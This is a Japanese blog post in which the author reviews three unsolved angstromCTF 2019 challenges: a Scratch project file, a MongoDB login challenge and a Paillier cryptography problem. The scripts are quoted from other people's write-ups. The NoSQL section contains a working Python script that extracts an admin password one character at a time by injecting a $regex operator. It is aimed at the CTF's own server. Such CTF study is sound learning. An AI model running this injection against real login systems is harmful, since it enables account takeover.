セキュリティ系の勉強、その他開発メモとか雑談. GithubはUnity触っていた頃ものがメイン Twitterフォローもよろしくです

【備忘録】angstromctf 復習

まえおき

これはWriteUpではないです。他のサイトさんの回答を見て解けなかった問題を自分用に残しておくためのものなので、WriteUpが見たい方はぜひ参考サイトさんの方を見てください!

参考サイト(強く推奨)

yoshiking.hatenablog.jp

dark-lambda.com

kusuwada.hatenablog.com

samcalamos.com.au



Scratch It Out

問題文は" An oddly yellow cat handed me this message - what could it mean?"。渡されるファイルは下のJSON

{"targets":[{"isStage":true,"name":"Stage","variables":{"`jEk@4|i[#Fk?(8x)AV.-my variable":["my variable",75]},"lists":{"DDcejh^KamcM{M3I4TYi":["flag",[]]},"broadcasts":{},"blocks":{},"comments":{},"currentCostume":0,"costumes":[{"assetId":"cd21514d0531fdffb22204e0ec5ed84a","name":"backdrop1","md5ext":"cd21514d0531fdffb22204e0ec5ed84a.svg","dataFormat":"svg","rotationCenterX":240,"rotationCenterY":180}],"sounds":[{"assetId":"83a9787d4cb6f3b7632b4ddfebf74367","name":"pop","dataFormat":"wav","format":"","rate":44100,"sampleCount":1032,"md5ext":"83a9787d4cb6f3b7632b4ddfebf74367.wav"}],"volume":100,"layerOrder":0,"tempo":60,"videoTransparency":50,"videoState":"on","textToSpeechLanguage":"en"},{"isStage":false,"name":"Sprite1","variables":{},"lists":{},"broadcasts":{},"blocks":{"gc(F@lT71/)bC%C*u42A":{"opcode":"event_whenflagclicked","next":"~aF,dkw=4%[4h3nmvnRH","parent":null,"inputs":{},"fields":{},"shadow":false,"topLevel":true,"x":-287,"y":-298},"~aF,dkw=4%[4h3nmvnRH":{"opcode":"data_setvariableto","next":"[P%q`Sd5o|}gXimPK}vy","parent":"gc(F@lT71/)bC%C*u42A","inputs":{"VALUE":[1,[10,"0"]]},"fields":{"VARIABLE":["my variable","`jEk@4|i[#Fk?(8x)AV.-my variable"]},"shadow":false,"topLevel":false},"[P%q`Sd5o|}gXimPK}vy":{"opcode":"data_deletealloflist","next":"twa0+.)q|d5h?49P7-Mz","parent":"~aF,dkw=4%[4h3nmvnRH","inputs":{},"fields":{"LIST":["flag","DDcejh^KamcM{M3I4TYi"]},"shadow":false,"topLevel":false},"twa0+.)q|d5h?49P7-Mz":{"opcode":"motion_gotoxy","next":"@1CP6EFQh9zU~Qv.L9ke","parent":"[P%q`Sd5o|}gXimPK}vy","inputs":{"X":[1,[4,"3"]],"Y":[1,[4,"25"]]},"fields":{},"shadow":false,"topLevel":false},"@1CP6EFQh9zU~Qv.L9ke":{"opcode":"control_repeat","next":"?ozn?6PSe,|gl[0:CFVq","parent":"twa0+.)q|d5h?49P7-Mz","inputs":{"TIMES":[3,",~-dSb{iI]d0J$_09B]D",[6,"25"]],"SUBSTACK":[2,"1k:%;:yF^JgRY|NRdT87"]},"fields":{},"shadow":false,"topLevel":false},",~-dSb{iI]d0J$_09B]D":{"opcode":"motion_yposition","next":null,"parent":"@1CP6EFQh9zU~Qv.L9ke","inputs":{},"fields":{},"shadow":false,"topLevel":false},"1k:%;:yF^JgRY|NRdT87":{"opcode":"data_changevariableby","next":"e*Py.Mc-k?D}w0}je37_","parent":"@1CP6EFQh9zU~Qv.L9ke","inputs":{"VALUE":[3,"L,+hwe69wtmUle}htHOm",[4,"3"]]},"fields":{"VARIABLE":["my variable","`jEk@4|i[#Fk?(8x)AV.-my variable"]},"shadow":false,"topLevel":false},"L,+hwe69wtmUle}htHOm":{"opcode":"motion_xposition","next":null,"parent":"1k:%;:yF^JgRY|NRdT87","inputs":{},"fields":{},"shadow":false,"topLevel":false},"e*Py.Mc-k?D}w0}je37_":{"opcode":"data_addtolist","next":null,"parent":"1k:%;:yF^JgRY|NRdT87","inputs":{"ITEM":[3,"*}!hp4?Y2Jb/*u1XSaFe",[10,"thing"]]},"fields":{"LIST":["flag","DDcejh^KamcM{M3I4TYi"]},"shadow":false,"topLevel":false},"*}!hp4?Y2Jb/*u1XSaFe":{"opcode":"operator_letter_of","next":null,"parent":"e*Py.Mc-k?D}w0}je37_","inputs":{"LETTER":[3,"etC#5:KlQ~?l[7~:KQr3",[6,"1"]],"STRING":[1,[10,"_La0AcpNtTgf1U{maTaGhL35_"]]},"fields":{},"shadow":false,"topLevel":false},"etC#5:KlQ~?l[7~:KQr3":{"opcode":"operator_mod","next":null,"parent":"*}!hp4?Y2Jb/*u1XSaFe","inputs":{"NUM1":[3,[12,"my variable","`jEk@4|i[#Fk?(8x)AV.-my variable"],[4,""]],"NUM2":[1,[4,"26"]]},"fields":{},"shadow":false,"topLevel":false},"?ozn?6PSe,|gl[0:CFVq":{"opcode":"data_addtolist","next":"9zMs,[qP=FC3I~)M4;0#","parent":"@1CP6EFQh9zU~Qv.L9ke","inputs":{"ITEM":[1,[10,"}"]]},"fields":{"LIST":["flag","DDcejh^KamcM{M3I4TYi"]},"shadow":false,"topLevel":false},"9zMs,[qP=FC3I~)M4;0#":{"opcode":"control_repeat","next":"tT=b/vs94pwY2_3cWKa#","parent":"?ozn?6PSe,|gl[0:CFVq","inputs":{"TIMES":[1,[6,"10"]],"SUBSTACK":[2,"P+NP2l=R(L$YXA_;R%7]"]},"fields":{},"shadow":false,"topLevel":false},"P+NP2l=R(L$YXA_;R%7]":{"opcode":"motion_turnright","next":"oMnQcqYaNL`X78JGOQ*V","parent":"9zMs,[qP=FC3I~)M4;0#","inputs":{"DEGREES":[1,[4,"15"]]},"fields":{},"shadow":false,"topLevel":false},"oMnQcqYaNL`X78JGOQ*V":{"opcode":"music_playDrumForBeats","next":null,"parent":"P+NP2l=R(L$YXA_;R%7]","inputs":{"DRUM":[3,"Dd1L6Dl@*o}%BVeJP5M:","iA0j60]}2sQRG{ixEOY="],"BEATS":[1,[4,"0.25"]]},"fields":{},"shadow":false,"topLevel":false},"Dd1L6Dl@*o}%BVeJP5M:":{"opcode":"operator_random","next":null,"parent":"oMnQcqYaNL`X78JGOQ*V","inputs":{"FROM":[1,[4,"1"]],"TO":[1,[4,"20"]]},"fields":{},"shadow":false,"topLevel":false},"iA0j60]}2sQRG{ixEOY=":{"opcode":"music_menu_DRUM","next":null,"parent":"oMnQcqYaNL`X78JGOQ*V","inputs":{},"fields":{"DRUM":["1",null]},"shadow":true,"topLevel":false},"tT=b/vs94pwY2_3cWKa#":{"opcode":"looks_say","next":"kaF2HGvYv,t,tiUvnR74","parent":"9zMs,[qP=FC3I~)M4;0#","inputs":{"MESSAGE":[3,[13,"flag","DDcejh^KamcM{M3I4TYi"],[10,"Hello!"]]},"fields":{},"shadow":false,"topLevel":false},"kaF2HGvYv,t,tiUvnR74":{"opcode":"data_deletealloflist","next":null,"parent":"tT=b/vs94pwY2_3cWKa#","inputs":{},"fields":{"LIST":["flag","DDcejh^KamcM{M3I4TYi"]},"shadow":false,"topLevel":false}},"comments":{},"currentCostume":0,"costumes":[{"assetId":"b7853f557e4426412e64bb3da6531a99","name":"costume1","bitmapResolution":1,"md5ext":"b7853f557e4426412e64bb3da6531a99.svg","dataFormat":"svg","rotationCenterX":48,"rotationCenterY":50},{"assetId":"e6ddc55a6ddd9cc9d84fe0b4c21e016f","name":"costume2","bitmapResolution":1,"md5ext":"e6ddc55a6ddd9cc9d84fe0b4c21e016f.svg","dataFormat":"svg","rotationCenterX":46,"rotationCenterY":53}],"sounds":[{"assetId":"83c36d806dc92327b9e7049a565c6bff","name":"Meow","dataFormat":"wav","format":"","rate":44100,"sampleCount":37376,"md5ext":"83c36d806dc92327b9e7049a565c6bff.wav"}],"volume":100,"layerOrder":1,"visible":true,"x":3,"y":25,"size":100,"direction":150,"draggable":false,"rotationStyle":"all around"}],"monitors":[{"id":"DDcejh^KamcM{M3I4TYi","mode":"list","opcode":"data_listcontents","params":{"LIST":"flag"},"spriteName":null,"value":[],"width":191,"height":348,"x":5,"y":5,"visible":false},{"id":"current_year","mode":"default","opcode":"sensing_current","params":{"CURRENTMENU":"YEAR"},"spriteName":null,"value":2019,"width":0,"height":0,"x":5,"y":5,"visible":false,"sliderMin":0,"sliderMax":100,"isDiscrete":true},{"id":"current_second","mode":"default","opcode":"sensing_current","params":{"CURRENTMENU":"SECOND"},"spriteName":null,"value":28,"width":0,"height":0,"x":5,"y":5,"visible":false,"sliderMin":0,"sliderMax":100,"isDiscrete":true},{"id":"current_dayofweek","mode":"default","opcode":"sensing_current","params":{"CURRENTMENU":"DAYOFWEEK"},"spriteName":null,"value":1,"width":0,"height":0,"x":5,"y":5,"visible":false,"sliderMin":0,"sliderMax":100,"isDiscrete":true},{"id":"current_minute","mode":"default","opcode":"sensing_current","params":{"CURRENTMENU":"MINUTE"},"spriteName":null,"value":46,"width":0,"height":0,"x":5,"y":5,"visible":false,"sliderMin":0,"sliderMax":100,"isDiscrete":true},{"id":"translate_getViewerLanguage","mode":"default","opcode":"translate_getViewerLanguage","params":{},"spriteName":null,"value":"English","width":0,"height":0,"x":5,"y":5,"visible":false,"sliderMin":0,"sliderMax":100,"isDiscrete":true},{"id":"b3x1PAhQzb_;0cK/.q1:_volume","mode":"default","opcode":"sound_volume","params":{},"spriteName":"Sprite1","value":100,"width":0,"height":0,"x":5,"y":5,"visible":false,"sliderMin":0,"sliderMax":100,"isDiscrete":true}],"extensions":["music"],"meta":{"semver":"3.0.0","vm":"0.2.0-prerelease.20190321151527","agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1 Safari/605.1.15"}}

どうやらScratchという子供向けのブログラミング言語のプロジェクトファイルっぽいものだそうです。拡張子を.sb3に変更し、このページで読み込むと、プロジェクトが読み込まれました。
f:id:thinline196:20190501161121p:plain

No Sequels 2

No Sequelsという問題の続きで、adminでログインはできましたが、パスワードを入れてねと言われるので、パスワードを調べようという問題。下のコードが渡されます。

router.post('/site', verifyJwt, function (req, res) {
    // req.user is assigned from verifyJwt
    if (!req.user.authenticated || !req.body.pass2) {
        res.send("bad");
    }
 
    var query = {
        username: req.user.name,
    }
 
    var db = req.db;
    db.collection('users').findOne(query, function (err, user) {
        console.log(user);
        if (!user){
            res.render('access', {username:' \''+req.user.name+'\' ', message:"Only user 'admin' can log in with this form!"});
        }
        var pass = user.password;
        var message = "";
        if (pass === req.body.pass2){
            res.render('final');
        } else {
            res.render('access', {username:' \''+req.user.name+'\' ', message:"Wrong LOL!"});
        }
 
    });
 
});

対象はMongoDB

{
username: "admin",
passsword: {"$regex": "^<testing pw goes here>"}
}

を使って1文字ずつパスワードを見つけていく手法。$regexLIKE検索のように使えるらしいです。

# こちらより引用してます。https://samcalamos.com.au/2019/04/25/angstrom-2019-no-sequels-2-writeup/
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""
url = "https://nosequels.2019.chall.actf.co/login"

cookies = {
"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjpmYWxzZSwiaWF0IjoxNTU1NzI4MjkyfQ.DRgByuPZJc-Ayvmdec5ot2CbjbCe6Bf7ucvI93gc1Wc"
}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            print("Testing %s" % password+c)
            payload={
                "username": "admin", 
                "password": {
                    "$regex": "^"+password+c 
                    }
                }

            r = requests.post(url, json = payload, verify = False, cookies=cookies)
            print(r.text)
            if "bad" in r.text:
                print("Found one more char : %s" % (password+c))
                password += c
                break



Runes

下のテキストが渡されます。暗号系ですね。苦手です。ヒントとしてPaillierが与えられますが、これはPaillier暗号らしいです。

n: 99157116611790833573985267443453374677300242114595736901854871276546481648883
g: 99157116611790833573985267443453374677300242114595736901854871276546481648884
c: 2433283484328067719826123652791700922735828879195114568755579061061723786565164234075183183699826399799223318790711772573290060335232568738641793425546869


msieveを使って素因数分解しp,qを導きだします。

$ ./msieve -q -v -e 99157116611790833573985267443453374677300242114595736901854871276546481648883

スクリプトこちらから引用しています。

# こちらのものを引用しています https://kusuwada.hatenablog.com/entry/2019/04/25/155547
#!/usr/bin/env python3
# this code has the following in reference.
#   https://ykm11.hatenablog.com/entry/2018/10/19/205950

import math

n = 99157116611790833573985267443453374677300242114595736901854871276546481648883
g = 99157116611790833573985267443453374677300242114595736901854871276546481648884
c = 2433283484328067719826123652791700922735828879195114568755579061061723786565164234075183183699826399799223318790711772573290060335232568738641793425546869
p = 310013024566643256138761337388255591613
q = 319848228152346890121384041219876391791

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g1, y, x = egcd(b % a, a)
        return (g1, x - (b // a) * y, y)

def modinv(a, m):
    g1, x, y = egcd(a, m)
    if g1 != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

def L(u):
    return (u-1)//n

def LMD(p, q): # p and q are respectively prime
    g = math.gcd(p-1, q-1)
    return (p-1)*(q-1)//g

def dec(c):
    s = L(pow(c, LMD(p, q), n**2))
    t = L(pow(g, LMD(p, q), n**2))
    return s * modinv(t, n) % n

# main
assert p*q == n
plain = dec(c)
flag = bytes.fromhex(hex(plain)[2:]).decode('ascii')
print('flag: ' + flag)



最後に

WriteUpじゃないし他の方のソースもらったりしているので、他のページを見てください、、